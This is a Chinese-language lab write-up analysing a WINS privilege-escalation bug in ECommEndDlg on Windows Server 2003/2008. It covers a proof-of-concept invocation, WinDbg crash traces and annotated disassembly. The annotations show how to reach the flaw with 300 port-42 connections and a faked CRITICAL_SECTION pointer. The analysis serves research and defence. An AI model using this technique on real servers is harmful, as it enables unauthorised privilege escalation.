1 漏洞介绍：

这是一个关于 WINS 的**漏洞**，当用户收到一个特殊的破坏的 WINS 的数据包时，将有可能提权，
攻击者必须登陆到机器上，或者有权限登陆到机器上去利用这个**漏洞**。
歧形的数据包将会被 ECommEndDlg 这个有问题的函数处理从而进行攻击。

2 相关版本：

受影响的版本

- Windows Server 2003 SP0, SP1 and SP2.
- Windows Server 2003 x64 Edition SP2.
- Windows Server 2003 SP2 for Itanium-based Systems.
- Windows Server 2008 SP2.
- Windows Server 2008 x64 Edition SP2.
- Windows Server 2008 R2 for x64-based Systems.
- Other versions and platforms are probably affected too, but they were no checked.

不受影响的版本：

- Windows XP SP3.
- Windows XP Professional x64 Edition SP2.
- Windows Vista SP2.
- Windows Vista x64 Edition SP2.
- Windows Server 2008 for Itanium-based Systems SP2.
- Windows 7.
- Windows 7 for x64-based Systems.
- Windows Server 2008 R2 for Itanium-based systems.

3 漏洞调试环境的安装

搭建 windows 2003 sp2 虚拟机，并按参考文档安装 wins 服务。
按参考文档下载 poc,针对老版本的 wins,需要对 poc 进行一些相关的修改。
由于老版本的 wins 中没有对数据进行加密，所以应该把 poc 中发送 udp 数据加密的地方去掉。
poc 的使用
python wins_poc.py wins_tcp_dynamic_port wins_udp_dynamic_port writeable_address(hex)
其中 wins_tcp_dynamic_port 和 wins_udp_dynamic_port 通过如下命令获得

```
C:\Python25>netstat -ban
Active Connections
  Proto  Local Address          Foreign Address        State
         PID
  TCP    0.0.0.0:42             0.0.0.0:0              LISTENING       1312
  [wins.exe]
  TCP    0.0.0.0:1027           0.0.0.0:0              LISTENING       1312
  [wins.exe]
```

```
  UDP         0.0.0.0:42                             *:*
                                      1312
  [wins.exe]
  UDP         127.0.0.1:1026                         *:*
                                    1312
  [wins.exe]
```

如上，我们发现 wins_tcp_dynamic_port 为 1027,wins_udp_dynamic_port 为 1026.

后面 writeable_address 的地址，先设为 0x4b5f5f5f.

4 漏洞调试

我们用 windbg 附加到 wins.exe 程序上后，按上述方式执行 wins_poc.py

代码:

```
0:020> g
(4d0.6bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception han
dling.
This exception may be expected and handled.
eax=00000064 ebx=42424242 ecx=7c823adb edx=42424242 esi=00001000
 edi=424242a5
eip=7c823ab3 esp=0422f548 ebp=0422f574 iopl=0                nv
 up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
                  efl=00010246
kernel32!IsBadWritePtr+0x31:
7c823ab3 8a02                        mov          al,byte ptr [edx
]                  ds:0023:42424242=??
```

我们查看一下函数调用：

代码:

```
0:015> kvn
 # ChildEBP RetAddr    Args to Child
00 0422f574 0101483a 42424242 00000064 0422fa78 kernel32!IsBadW
ritePtr+0x31 (FPO: [SEH])
01 0422f5a8 01015ab9 0422fa78 0422f5c4 00000000 wins!ChkNtfSock
+0xac (FPO: [2,6,4])
02 0422ffb8 7c824829 00000000 00000000 00000000 wins!MonTcp+0x1
db (FPO: [SEH])
03 0422ffec 00000000 010158de 00000000 00000000 kernel32!BaseTh
readStart+0x34 (FPO: [SEH])
```

可以看到，是在调用 IsBadWritePtr 的地方产生异常，该函数用于检测内存地址是否可写。

IsBadWritePtr 函数如下：

代码:

```
0:012> u kernel32!IsBadWritePtr 150
kernel32!IsBadWritePtr:
7c823a7a 6a10                    push        10h
7c823a7c 68e03a827c              push        offset kernel32!`string'
+0x1c (7c823ae0)
7c823a81 e883dfffff              call        kernel32!_SEH_prolog (7c
821a09)
7c823a86 a13cb0887c              mov         eax,dword ptr [kernel3
2!BaseStaticServerData (7c88b03c)]
7c823a8b 8bb02c010000            mov         esi,dword ptr <Unloaded_
evnt.dll>+0x12b (0000012c)[eax]
7c823a91 8b450c                  mov         eax,dword ptr [ebp
+0Ch]
7c823a94 85c0                    test        eax,eax
7c823a96 743c                    je          kernel32!IsBadWri
tePtr+0x59 (7c823ad4)
7c823a98 8b5508                  mov         edx,dword ptr [ebp
+8] //
7c823a9b 85d2                    test        edx,edx
7c823a9d 0f845d06feff            je          kernel32!IsBadWritePtr+0x
6e (7c804100)
7c823aa3 8d7c02ff                lea         edi,[edx+eax-1]
7c823aa7 3bfa                    cmp         edi,edx
7c823aa9 0f825106feff            jb          kernel32!IsBadWritePtr+0x
6e (7c804100)
7c823aaf 8365fc00                and         dword ptr [ebp-4],0
7c823ab3 8a02                    mov         al,byte ptr [edx
]      //edx 的值的内容为不可读(42424242)
7c823ab5 8802                    mov         byte ptr [edx],a
l
7c823ab7 8d46ff                  lea         eax,[esi-1]
7c823aba f7d0                    not         eax
7c823abc 8bc8                    mov         ecx,eax
7c823abe 23ca                    and         ecx,edx
7c823ac0 894de4                  mov         dword ptr [ebp-
1Ch],ecx
7c823ac3 23c7                    and         eax,edi
7c823ac5 8945e0                  mov         dword ptr [ebp-
20h],eax
7c823ac8 3bc8                    cmp         ecx,eax
7c823aca 0f851ee4feff            jne         kernel32!IsBadWritePtr+0x4
a (7c811eee)
7c823ad0 834dfcff                or          dword ptr [ebp-
4],0FFFFFFFFh
```

```
7c823ad4  33c0                    xor         eax,eax
7c823ad6  e869dfffff          call        kernel32!_SEH_epilog  (7c
821a44)
7c823adb  c20800                ret         8
7c823ade  90                      nop
7c823adf  90                      nop
7c823ae0  ff                      ???
```

(注意，为了演示，我们将 wins_poc 文件分成两个文件，一个负责 tcp 连接的建立，另一个负责发送 udp 的数据

在建立 tcp 连接后，在内存中查看到数据，然后修改 udp 中的数据并发送，这样，一次就可到达**漏洞**的地方

注意的是：这样做之后，42 端口建立的连接只有 3 个，不清楚为啥，所以在比较的地方，手工修改寄存器，

让其来满足条件

)

接下来我们在 ChkNtfSock 函数处下断点 bp wins!ChkNtfSock

ChkNtfSock 函数如下：

具体主要看 wins!ChkNtfSock 函数

ChkNtfSock()函数如下：

代码:

```
.text:0101478E  ;  int  __stdcall  ChkNtfSock(int,  fd_set  *)
.text:0101478E  _ChkNtfSock@8      proc  near
      ;  CODE  XREF:  MonTcp(x)+1D6p
.text:0101478E
.text:0101478E  buf                        =  byte  ptr  -18h
.text:0101478E  var_14                   =  dword  ptr  -14h
.text:0101478E  var_8                     =  byte  ptr  -8
.text:0101478E  lp                          =  dword  ptr  -4
.text:0101478E  arg_0                     =  dword  ptr    8
.text:0101478E  arg_4                     =  dword  ptr    0Ch
.text:0101478E
.text:0101478E                                mov          edi,  ed
i
.text:01014790                                push        ebp
.text:01014791                                mov          ebp,  es
p
.text:01014793                                sub          esp,  18
h
.text:01014796                                push        ebx
.text:01014797                                push        esi
.text:01014798                                push        edi
```

```
.text:01014799                                  push        [ebp+arg_
4]          ;  fd_set  *
.text:0101479C                                  push        _CommNtfS
ockHandle  ;  fd
.text:010147A2                                  call        ___WSAFDI
sSet@8  ;  __WSAFDIsSet(x,x)  //这里退出了
.text:010147A7                                  test        eax,  eax
.text:010147A9                                  jz           loc_101
494D
.text:010147AF                                  mov          eax,  _C
ommNtfSockHandle
.text:010147B4                                  xor          esi,  es
i
.text:010147B6                                  push        esi
                    ;  fromlen
.text:010147B7                                  push        esi
                    ;  from
.text:010147B8                                  push        esi
                    ;  flags
.text:010147B9                                  push        18h
                    ;  len
.text:010147BB                                  lea          ecx,  [e
bp+buf]
.text:010147BE                                  push        ecx
                    ;  buf
.text:010147BF                                  push        eax
                    ;  s
.text:010147C0                                  call        ds:__imp_
_recvfrom@24  ;  recvfrom(x,x,x,x,x,x)//接收到数据包
.text:010147C6                                  cmp          eax,  0F
FFFFFFFh
.text:010147C9                                  jnz          short  l
oc_1014813  //实现跳转
.text:010147CB                                  call        ds:__imp_
_WSAGetLastError@0  ;  WSAGetLastError()
.text:010147D1                                  cmp          dword_10
25440,  6
.text:010147D8                                  mov          edi,  ea
x
.text:010147DA                                  jz           short
loc_10147F4
.text:010147DC                                  push        esi
                    ;  int
```

```
.text:010147DD                                  push        0FECh
                  ;  int
.text:010147E2                                  push        offset  a
DNtNetWinsS_14  ;  "d:\\nt\\net\\wins\\server\\com\\comm.c"
.text:010147E7                                  push        0C001106C
h           ;  dwEventID
.text:010147EC                                  push        1
                     ;  wType
.text:010147EE                                  push        edi
                   ;  int
.text:010147EF                                  call        _WinsEvtL
ogEvt@24  ;  WinsEvtLogEvt(x,x,x,x,x,x)
.text:010147F4
.text:010147F4  loc_10147F4:
                ;  CODE  XREF:  ChkNtfSock(x,x)+4Cj
.text:010147F4                                  cmp          edi,  27
38h
.text:010147FA                                  jz            loc_101
4948
.text:01014800                                  push        esi
                   ;  lpArguments
.text:01014801                                  push        esi
                   ;  nNumberOfArguments
.text:01014802                                  push        esi
                   ;  dwExceptionFlags
.text:01014803                                  push        0E0000001
h           ;  dwExceptionCode
.text:01014808                                  call        ds:__imp_
_RaiseException@16  ;  RaiseException(x,x,x,x)
.text:0101480E                                  jmp          loc_1014
948
.text:01014813  ;  ---------------------------------------------
------------------------
.text:01014813
.text:01014813  loc_1014813:
                ;  CODE  XREF:  ChkNtfSock(x,x)+3Bj
.text:01014813                                  cmp          eax,  18
h  //判断收到的数据是否为 0x18,
.text:01014816                                  jnz          loc_1014
948
.text:0101481C                                  mov          edi,  [e
bp+lp]  //将[ebp+lp]的值移到 edi 中,这个值为接收到的 buffer 的最后一组
数据。
                                  //
```

```
                                    //mov   edi,   [ebp-14h]
                                                                  //mov
edi,[ebp-4],0422f5a4,这个数据为 buffer 接到的最后一个数据。
                                                                  //会验
证该地址是否为有效地址。
.text:0101481F                                  mov           esi,   ds
:__imp__IsBadWritePtr@8   ;   IsBadWritePtr(x,x)
.text:01014825                                  push          64h
                        ;   ucb   //指向内存区域的大小
.text:01014827                                  push          edi
                        ;   lp   //指向内存区域的指针
.text:01014828                                  call          esi   ;   I
sBadWritePtr(x,x)   ;   IsBadWritePtr(x,x)   //这里调用 IsBadWritePtr.
.text:0101482A                                  test          eax,   eax
.text:0101482C                                  jnz           loc_1014
948
                                                                  //并验
证该地址是否为有效地址。
                                                                  //这个
值也是一个有效的值。
                                                                  //0x2c
处保存着一个 0x10c00。
.text:01014832                                  mov           ebx,   [e
di+2Ch]
//这个地址的值必须是可读，05000000+2c 的值，被堆喷射成 42424242 了，所
以该地址的值不可写。这里会报异常。
.text:01014835                                  push          64h
                        ;   ucb
.text:01014837                                  push          ebx
                        ;   lp   //这个值为上面那个值加 2c 的结果
.text:01014838                                  call          esi   ;   I
sBadWritePtr(x,x)   ;   IsBadWritePtr(x,x)//这里调用 IsBadWritePtr.
.text:0101483A                                  test          eax,   eax
.text:0101483C                                  jnz           loc_1014
948

.text:01014842                                  mov           eax,   [e
bp+arg_0]   //得到第一个参数
.text:01014845                                  xor           ecx,   ec
x
.text:01014847                                  cmp           dword   p
tr   [ebp+buf],   ecx
//判断第一个值是否为 0，这个值合法为 0 和 1,为了跳到 ECommEndDlg 函数
处，这里必须设置为 0
```

```
.text:0101484A                                  jnz          short  l
oc_10148C0  //如果不为 0,则跳转
//

.text:0101484C                                  mov          edx,  [e
ax]  //建立的连接数，与 42 端口建立的连接数
.text:0101484E                                  cmp          edx,  12
Ch
//判断是否为 0x12c，即为 300，所以在 poc 中，建立 300 个 tcp,42 端口的连
接。

.text:01014854                                  jnb          short  l
oc_1014896  //我们要求这个跳转，这样才能跳转到那个函数的地方去。
.text:01014856                                  cmp          edx,  ec
x
.text:01014858                                  mov          esi,  [e
bp+var_14]
.text:0101485B                                  jbe          short  l
oc_101486C
.text:0101485D                                  lea          edx,  [e
ax+4]
.text:01014860
.text:01014860  loc_1014860:
                ;  CODE  XREF:  ChkNtfSock(x,x)+DCj
.text:01014860                                  cmp          [edx],
esi
.text:01014862                                  jz            short
loc_101486C
.text:01014864                                  inc          ecx
.text:01014865                                  add          edx,  4
.text:01014868                                  cmp          ecx,  [e
ax]
.text:0101486A                                  jb            short
loc_1014860
.text:0101486C
.text:0101486C  loc_101486C:
                ;  CODE  XREF:  ChkNtfSock(x,x)+CDj
.text:0101486C
                           ;  ChkNtfSock(x,x)+D4j
.text:0101486C                                  cmp          ecx,  [e
ax]
.text:0101486E                                  jnz          short  l
oc_1014876
```

```
.text:01014870                                  mov           [eax+ecx
*4+4],  esi
.text:01014874                                  inc           dword  p
tr  [eax]
.text:01014876
.text:01014876  loc_1014876:
                ;  CODE  XREF:  ChkNtfSock(x,x)+E0j
.text:01014876                                  mov           dword  p
tr  [ebx+48h],  1
.text:0101487D                                  and           dword  p
tr  [edi+38h],  0
.text:01014881                                  add           edi,  48
h
.text:01014884                                  lea           esi,  [e
bx+50h]
.text:01014887                                  movsd
.text:01014888                                  movsd
.text:01014889                                  movsd
.text:0101488A                                  push          ebx
.text:0101488B                                  movsd
.text:0101488C                                  call          _CommAsso
cInsertAssocInTbl@4  ;  CommAssocInsertAssocInTbl(x)
.text:01014891                                  jmp           loc_1014
948
.text:01014896  ;  ---------------------------------------------------
------------------------
.text:01014896
.text:01014896  loc_1014896:
                ;  CODE  XREF:  ChkNtfSock(x,x)+C6j
.text:01014896                                  push          ecx
                    ;  int
.text:01014897                                  push          101Ah
                  ;  int
.text:0101489C                                  push          offset  a
DNtNetWinsS_14  ;  "d:\\nt\\net\\wins\\server\\com\\comm.c"
.text:010148A1                                  push          0C00110BE
h           ;  dwEventID
.text:010148A6                                  push          1
                      ;  wType
.text:010148A8                                  push          0E0000001
h           ;  int
.text:010148AD                                  call          _WinsEvtL
ogEvt@24  ;  WinsEvtLogEvt(x,x,x,x,x,x)
```

```
.text:010148B2                                  lea          eax,  [e
bp+var_8]
.text:010148B5                                  push         eax
.text:010148B6                                  call         _ECommEnd
Dlg@4    ;  ECommEndDlg(x)    //ECommEndDlg  input  validation  error
.text:010148BB                                  jmp          loc_1014
948
.text:010148C0  ;  ---------------------------------------------------
-------------------------
.text:010148C0
.text:010148C0  loc_10148C0:
                ;  CODE  XREF:  ChkNtfSock(x,x)+BCj
.text:010148C0                                  xor          edx,  ed
x  //跳转到这里
.text:010148C2                                  cmp          [eax],
ecx  //
.text:010148C4                                  jbe          short  l
oc_10148F7
.text:010148C6                                  lea          ecx,  [e
ax+4]//将 eax+4 的值赋给 ecx
.text:010148C9
.text:010148C9  loc_10148C9:
                ;  CODE  XREF:  ChkNtfSock(x,x)+148j
.text:010148C9                                  mov          esi,  [e
cx]  //这里是循环从栈里面找到 c7c6c5c4 这个值
.text:010148CB                                  cmp          esi,  [e
bp+var_14]//比较 esi 和 c7c6c5c4 的值。
.text:010148CE                                  jz           short
loc_10148DA
.text:010148D0                                  inc          edx
.text:010148D1                                  add          ecx,  4
.text:010148D4                                  cmp          edx,  [e
ax]  //比较 edx,和[eax]的值。
.text:010148D6                                  jb           short
loc_10148C9  //循环
.text:010148D8                                  jmp          short  l
oc_10148F7
.text:010148DA  ;  ---------------------------------------------------
-------------------------
.text:010148DA
.text:010148DA  loc_10148DA:
                ;  CODE  XREF:  ChkNtfSock(x,x)+140j
.text:010148DA                                  mov          ecx,  [e
ax]
```

```
.text:010148DC                                  dec          ecx
.text:010148DD                                  cmp          edx,  ec
x
.text:010148DF                                  jnb          short  l
oc_10148F5
.text:010148E1                                  lea          ecx,  [e
ax+edx*4+4]
.text:010148E5
.text:010148E5  loc_10148E5:
                ;  CODE  XREF:  ChkNtfSock(x,x)+165j
.text:010148E5                                  mov          esi,  [e
cx+4]
.text:010148E8                                  mov          [ecx],
esi
.text:010148EA                                  mov          esi,  [e
ax]
.text:010148EC                                  inc          edx
.text:010148ED                                  add          ecx,  4
.text:010148F0                                  dec          esi
.text:010148F1                                  cmp          edx,  es
i
.text:010148F3                                  jb            short
loc_10148E5
.text:010148F5
.text:010148F5  loc_10148F5:
                ;  CODE  XREF:  ChkNtfSock(x,x)+151j
.text:010148F5                                  dec          dword  p
tr  [eax]
.text:010148F7
.text:010148F7  loc_10148F7:
                ;  CODE  XREF:  ChkNtfSock(x,x)+136j
.text:010148F7
                            ;  ChkNtfSock(x,x)+14Aj
.text:010148F7                                  lea           eax,  [e
bp+var_8]  //跳转到此处执行。
.text:010148FA                                  push        eax
.text:010148FB                                  call        _CommLock
Block@4  ;  CommLockBlock(x)
.text:01014900                                  test        eax,  eax
.text:01014902                                  jz            short
loc_1014933
.text:01014904                                  and           dword  p
tr  [ebx+48h],  0
```

```
.text:01014908                                  mov           dword  p
tr  [edi+38h],  1
.text:0101490F                                  mov           eax,  [e
bx+4]
.text:01014912                                  mov           ecx,  [e
bx]
.text:01014914                                  mov           [eax],
ecx
.text:01014916                                  mov           eax,  [e
bx]
.text:01014918                                  mov           ecx,  [e
bx+4]
.text:0101491B                                  lea           esi,  [e
di+48h]
.text:0101491E                                  mov           [eax+4],
  ecx
.text:01014921                                  lea           edi,  [e
bx+50h]
.text:01014924                                  movsd
.text:01014925                                  movsd
.text:01014926                                  movsd
.text:01014927                                  lea           eax,  [e
bp+var_8]
.text:0101492A                                  push        eax
.text:0101492B                                  movsd
.text:0101492C                                  call        _CommUnlo
ckBlock@4  ;  CommUnlockBlock(x)
.text:01014931                                  jmp           short  l
oc_101493D
.text:01014933  ;  ---------------------------------------------------
------------------------
.text:01014933
.text:01014933  loc_1014933:
                ;  CODE  XREF:  ChkNtfSock(x,x)+174j
.text:01014933                                  mov           _fCommDl
gError,  1
.text:0101493D
.text:0101493D  loc_101493D:
                ;  CODE  XREF:  ChkNtfSock(x,x)+1A3j
.text:0101493D                                  push        _RplSyncW
TcpThdEvtHdl  ;  hEvent
.text:01014943                                  call        _WinsMscS
ignalHdl@4  ;  WinsMscSignalHdl(x)
.text:01014948
```

```
.text:01014948  loc_1014948:
                ;  CODE  XREF:  ChkNtfSock(x,x)+6Cj
.text:01014948
                           ;  ChkNtfSock(x,x)+80j  ...
.text:01014948                                  xor          eax,  ea
x
.text:0101494A                                  inc          eax
.text:0101494B                                  jmp          short  l
oc_101494F
.text:0101494D  ;  ---------------------------------------------------
-------------------------
.text:0101494D
.text:0101494D  loc_101494D:
                ;  CODE  XREF:  ChkNtfSock(x,x)+1Bj
.text:0101494D                                  xor          eax,  ea
x
.text:0101494F
.text:0101494F  loc_101494F:
                ;  CODE  XREF:  ChkNtfSock(x,x)+1BDj
.text:0101494F                                  pop          edi
.text:01014950                                  pop          esi
.text:01014951                                  pop          ebx
.text:01014952                                  leave
.text:01014953                                  retn         8
.text:01014953  _ChkNtfSock@8      endp
-------------------------------------------------------------------
-------------------------
```

我们看一下 ECommEndDlg 函数(这是出问题的函数所在)的实现：

```
.text:0101319B  ;  __stdcall  ECommEndDlg(x)
.text:0101319B  _ECommEndDlg@4    proc  near
      ;  CODE  XREF:  ENmsHandleMsg(x,x,x)+44p
.text:0101319B
                           ;  VerifyDbData(x,x,x,x,x)+32Ep  ...
.text:0101319B
.text:0101319B  var_4C                    =  dword  ptr  -4Ch
.text:0101319B  buf                          =  dword  ptr  -48h
.text:0101319B  var_1C                    =  dword  ptr  -1Ch
.text:0101319B  ms_exc                    =  CPPEH_RECORD  ptr  -18h
.text:0101319B  arg_0                      =  dword  ptr    8
.text:0101319B
.text:0101319B                                  push         3Ch
.text:0101319D                                  push         offset  s
tru_10021A0
```

```
.text:010131A2                                  call        __SEH_pro
log
.text:010131A7                                  mov         eax,  __
_security_cookie
.text:010131AC                                  mov         [ebp+var
_1C],  eax
.text:010131AF                                  mov         edi,  [e
bp+arg_0]  //把第一个参数传给 edi
.text:010131B2                                  mov         [ebp+var
_4C],  edi
.text:010131B5                                  mov         esi,  [e
di+4]  //将第四个字节处的值传给 esi,为(0x05000000+offset)的偏移
.text:010131B8                                  xor         ebx,  eb
x
.text:010131BA                                  cmp         esi,  eb
x  //判断是否为 0
.text:010131BC                                  jnz         short  l
oc_10131C5  //不为 0 则跳转
.text:010131BE                                  mov         eax,  0E
0000011h
.text:010131C3                                  jmp         short  l
oc_101323C
.text:010131C5  ;  ---------------------------------------------------
------------------------
.text:010131C5
.text:010131C5  loc_10131C5:
                ;  CODE  XREF:  ECommEndDlg(x)+21j
.text:010131C5                                  cmp         [esi+38h
],  ebx  //判断 0x05000038 处的值，该处的值为 42424242,
.text:010131C8                                  jnz         short  l
oc_1013220  //这里为了不让他跳转，得将该处的值设为 0
.text:010131CA                                  cmp         dword  p
tr  [esi+34h],  5  //判断 0x05000034 处的值，该处的值也为 42424242.
.text:010131CE                                  jnz         short  l
oc_10131D8  //这里进行跳转
.text:010131D0                                  push        esi
.text:010131D1                                  call        _CommAsso
cDeleteUdpDlgInTbl@4  ;  CommAssocDeleteUdpDlgInTbl(x)
.text:010131D6                                  jmp         short  l
oc_101323A
.text:010131D8  ;  ---------------------------------------------------
------------------------
.text:010131D8
```

```
.text:010131D8  loc_10131D8:
                ;  CODE  XREF:  ECommEndDlg(x)+33j
.text:010131D8                                  push        edi
//参数跟 ECommEndDlg 的参数相同
.text:010131D9                                  call        _CommLock
Block@4  ;  CommLockBlock(x)  //这里调用 CommLockBlock 函数
.text:010131DE                                  cmp          eax,  eb
x
.text:010131E0                                  jz            short
loc_101323A
.text:010131E2                                  mov          esi,  [e
si+2Ch]
.text:010131E5                                  push        4
                      ;  hostlong
.text:010131E7                                  push        2Ch
                    ;  int
.text:010131E9                                  lea          eax,  [e
bp+buf]
.text:010131EC                                  push        eax
                    ;  int
.text:010131ED                                  push        esi
                    ;  int
.text:010131EE                                  call        _CommAsso
cFrmStopAssocReq@16  ;  CommAssocFrmStopAssocReq(x,x,x,x)
.text:010131F3                                  mov          [ebp+ms_
exc.disabled],  ebx
.text:010131F6                                  push        2Ch
                    ;  hostlong
.text:010131F8                                  lea          eax,  [e
bp+buf]
.text:010131FB                                  push        eax
                    ;  buf
.text:010131FC                                  push        dword  pt
r  [esi+30h]  ;  s
.text:010131FF                                  call        _CommSend
Assoc@12  ;  CommSendAssoc(x,x,x)
.text:01013204                                  or            [ebp+ms
_exc.disabled],  0FFFFFFFFh
.text:01013208                                  jmp          short  l
oc_1013218
.text:0101320A  ;  ------------------------------------------------
------------------------
.text:0101320A
```

```
.text:0101320A  loc_101320A:
                ;  DATA  XREF:  .text:stru_10021A0o
.text:0101320A                                  xor          eax,  ea
x               ;  Exception  filter  0  for  function  101319B
.text:0101320C                                  inc          eax
.text:0101320D                                  retn
.text:0101320E  ;  ---------------------------------------------------
------------------------
.text:0101320E
.text:0101320E  loc_101320E:
                ;  DATA  XREF:  .text:stru_10021A0o
.text:0101320E                                  mov          esp,  [e
bp+ms_exc.old_esp]  ;  Exception  handler  0  for  function  101319B
.text:01013211                                  or           [ebp+ms
_exc.disabled],  0FFFFFFFFh
.text:01013215                                  mov          edi,  [e
bp+var_4C]
.text:01013218
.text:01013218  loc_1013218:
                ;  CODE  XREF:  ECommEndDlg(x)+6Dj
.text:01013218                                  push        edi
.text:01013219                                  call        _CommUnlo
ckBlock@4  ;  CommUnlockBlock(x)
.text:0101321E                                  jmp          short  l
oc_101323A
.text:01013220  ;  ---------------------------------------------------
------------------------
.text:01013220
.text:01013220  loc_1013220:
                ;  CODE  XREF:  ECommEndDlg(x)+2Dj
.text:01013220                                  cmp          dword  p
tr  [esi+34h],  4
.text:01013224                                  jz            short
loc_101322F
.text:01013226                                  lea          eax,  [e
si+28h]
.text:01013229                                  push        eax
.text:0101322A                                  call        _CommEndA
ssoc@4  ;  CommEndAssoc(x)
.text:0101322F
.text:0101322F  loc_101322F:
                ;  CODE  XREF:  ECommEndDlg(x)+89j
.text:0101322F                                  push        esi
```

```
.text:01013230                                  call        _CommAsso
cDeallocDlg@4  ;  CommAssocDeallocDlg(x)
.text:01013235                                  mov          [edi+4],
  ebx
.text:01013238                                  mov          [edi],
ebx
.text:0101323A
.text:0101323A  loc_101323A:
                ;  CODE  XREF:  ECommEndDlg(x)+3Bj
.text:0101323A
                           ;  ECommEndDlg(x)+45j  ...
.text:0101323A                                  xor          eax,  ea
x
.text:0101323C
.text:0101323C  loc_101323C:
                ;  CODE  XREF:  ECommEndDlg(x)+28j
.text:0101323C                                  mov          ecx,  [e
bp+var_1C]
.text:0101323F                                  call        @__securi
ty_check_cookie@4  ;  __security_check_cookie(x)
.text:01013244                                  call        __SEH_epi
log
.text:01013249                                  retn        4
.text:01013249  _ECommEndDlg@4    endp
-------------------------------------------------------------------------
--
```

我们看下 CommLockBlock 函数

观察：CommLockBlock 函数

```
.text:01014752  ;  __stdcall  CommLockBlock(x)
.text:01014752  _CommLockBlock@4  proc  near
    ;  CODE  XREF:  ECommSndRsp(x,x,x)+24p
.text:01014752
                           ;  ECommEndDlg(x)+3Ep  ...
.text:01014752
.text:01014752  arg_0                       =  dword  ptr    8
.text:01014752
.text:01014752                                  mov          edi,  ed
i
.text:01014754                                  push        ebp
.text:01014755                                  mov          ebp,  es
p
.text:01014757                                  push        esi
.text:01014758                                  push        edi
```

```
.text:01014759                                  mov          edi,  [ebp+arg_0]  //得到第一个参数
.text:0101475C                                  mov          esi,  [edi+4]  //得到它的第二个的值，将某个 magic_struct 结构体的值存在 esi 中
.text:0101475F                                  cmp          byte  ptr  [esi+24h],  0//
.text:01014763                                  jz            short loc_1014781
.text:01014765                                  lea          eax,  [esi+0Ch]  //把这个值的第 0c 个，做为临界变量
//
//此时，程序在没有对输入参数做足够验证的情况下就将从 dynamic_udp_port 接收到的数据
//加上 0xc 字节，当作一个 CRITICAL_SECTION 结构体指针。由于存放着一个无效的地址。
下面是 CRITICAL_SECTION 的结构的描述
#pragma  pack(push,  8)
下面对下面的结构解析
typedef  struct  _RTL_CRITICAL_SECTION  {
          //此字段包含一个指针，指向系统分配的伴随结构，该结构的类型为 RTL_CRITICAL_SECTION_DEBUG,
          //在 WINNT.H 中定义
          PRTL_CRITICAL_SECTION_DEBUG  DebugInfo;

          //
          //    The  following  three  fields  control  entering  and  exiting  the  critical
          //    section  for  the  resource
          //
          //LockCount 初始化为-1,此数值大于或等于 0.当大于或等于 0 时，表示临界区被占用。当其不等于-1 时，
          //OwningThread 字段包含了拥有此临界区的线程 ID.
          LONG  LockCount;
          //此字段包含所有者线程已经获取该临界区的次数。
          LONG  RecursionCount;
          //此字段包含当前占用此临界区的线程的线程标识符，此线程 ID 与 GetCurrentThreadId 之类的 API 返回的 ID 相同
          HANDLE  OwningThread;                  //  from  the  thread's  ClientId->UniqueThread
          //它是一个内核对象句柄，用于通知操作系统：该临界区现在空闲。操作系统在一个线程第一次尝试获得该临界区，
          //但被另一个已经拥有该临界区的线程所阻止时，自动创建这样一个句柄，应当调用 DeleteCriticalSection
          //，否则就会发生资源泄露.
```

```
        HANDLE  LockSemaphore;
        //仅用于多处理系统
        ULONG_PTR  SpinCount;                    //  force  size  on
  64-bit  systems  when  packed
}  RTL_CRITICAL_SECTION,  *PRTL_CRITICAL_SECTION;
#pragma  pack(pop)
```

下面看下 RTL_CRITICAL_SECTION_DEBUG 结构，该结构如下：

RTL_CRITICAL_SECTION_DEBUG 结构，该结构给出如下：

```
struct  _RTL_CRITICAL_SECTION_DEBUG
{
//此字段未使用,被初始化为数值 0
WORD      Type;  +0
//此字段用于诊断情形中。
WORD      CreatorBackTraceIndex;  +2
//指向与此结构相关的 RTL_CRITICAL_SECTION
RTL_CRITICAL_SECTION  *CriticalSection;  +4
//允许向前和向后遍历该临界区
LIST_ENTRY  ProcessLocksList;  +8
//这些字段在相同的时间，出于相同的原因被递增，这是那些因为不能马上获得临界区
//而进入等待状态的结程的数目
DWORD  EntryCount;  +4
DWORD  ContentionCount;  +4//+0x14 的偏移处，这个值加 1.
//这两个字段未使用，
DWORD  Spare[  2  ];  +4
}//这个结构一共 24 个字节(0x18)
```

我们可以看到这个结构中的第一个参数为 DebugInfo,是 RTL_CRITICAL_SECTION_DEBUG 的结构体.

```
01014768  50                              push        eax
0:015>  dd  eax
0531005c    4b5f5f4b  00000000  00000004  62626262
0531006c    62626262  00000001  63636363  63636363
0531007c    00010c00  64646464  64646464  00000000
0531008c    42424242  42424242  42424242  42424242
0531009c    42424242  42424242  42424242  42424242
053100ac    42424242  42424242  42424242  42424242
053100bc    42424242  42424242  42424242  42424242
053100cc    42424242  42424242  42424242  42424242
0:015>  p
eax=0531005c  ebx=00000000  ecx=0101ac2c  edx=010e005b  esi=05310050
  edi=0422f5a0
eip=01014769  esp=0422f508  ebp=0422f514  iopl=0                 nv
  up  ei  pl  nz  na  pe  nc
```

```
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
                  efl=00000206
wins!CommLockBlock+0x17:
01014769 ff15a4100001      call      dword ptr [wins!_imp__Ent
erCriticalSection (010010a4)] ds:0023:010010a4={ntdll!RtlEnterCriti
calSection (7c94a360)}
```

我们看到其 eax 指向 0531005c,里面的值为 4b5f5f4b 为对应的 Debuginfo 的地址。

```
.text:01014768                                  push      eax
                  ; lpCriticalSection
.text:01014769                                  call      ds:__imp_
_EnterCriticalSection@4  ; EnterCriticalSection(x)
//

.text:0101476F                                  mov       eax, [e
di]
.text:01014771                                  cmp       eax, [e
si+8]
.text:01014774                                  jnz       short l
oc_101477B
.text:01014776                                  xor       eax, ea
x
.text:01014778                                  inc       eax
.text:01014779                                  jmp       short l
oc_1014783
.text:0101477B  ; ---------------------------------------------
-----------------------
.text:0101477B
.text:0101477B  loc_101477B:
                ; CODE XREF: CommLockBlock(x)+22j
.text:0101477B                                  push      edi
.text:0101477C                                  call      _CommUnlo
ckBlock@4  ; CommUnlockBlock(x)
.text:01014781
.text:01014781  loc_1014781:
                ; CODE XREF: CommLockBlock(x)+11j
.text:01014781                                  xor       eax, ea
x
.text:01014783
.text:01014783  loc_1014783:
                ; CODE XREF: CommLockBlock(x)+27j
.text:01014783                                  pop       edi
```

```
.text:01014784                                  pop          esi
.text:01014785                                  pop          ebp
.text:01014786                                  retn         4
.text:01014786  _CommLockBlock@4  endp
-------------------------------------------------------------------------
```

